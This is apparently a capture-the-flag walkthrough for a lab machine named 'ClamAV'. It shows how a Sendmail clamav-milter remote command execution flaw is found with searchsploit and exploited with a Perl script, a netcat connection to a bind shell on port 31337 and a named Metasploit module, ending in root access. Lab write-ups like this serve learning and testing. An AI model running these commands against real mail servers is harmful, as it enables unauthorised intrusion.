After going through all available ports I was unable to enumerate anything interesting...

With no promising avenues for the available ports. We turn to the machine hostname 'ClamAV'. ClamAV is an open source Antivirus solution available here on the vendors website: https://www.clamav.net/.

Using searchsploit we see an available exploit:

Sendmailwith clamav-milter < 0.91.2 - Remote Command Execution (As we know port 25 is open and running Sendmail).

**Linked here:**

Sendmail with clamav-milter < 0.91.2 - Remote Command ExecutionExploit Database

Looking through the exploit code, we can see the script will open port 31337 to receive connections.

The script was then executed with the following command.

perl clamav.pl 192.168.142.42

Scanning port 31337 after running the exploit shows it as now being open.

We can then use netcat it to connect to the port as the root user.

nc 192.168.142.42 31337

Metasploit

A module Metasploit exists for this vulnerability.

use exploit/unix/smtp/clamav_milter_blackhole

The exploit was configured with the options shown below.

Upon execution, we are able to gain root access to the target system.
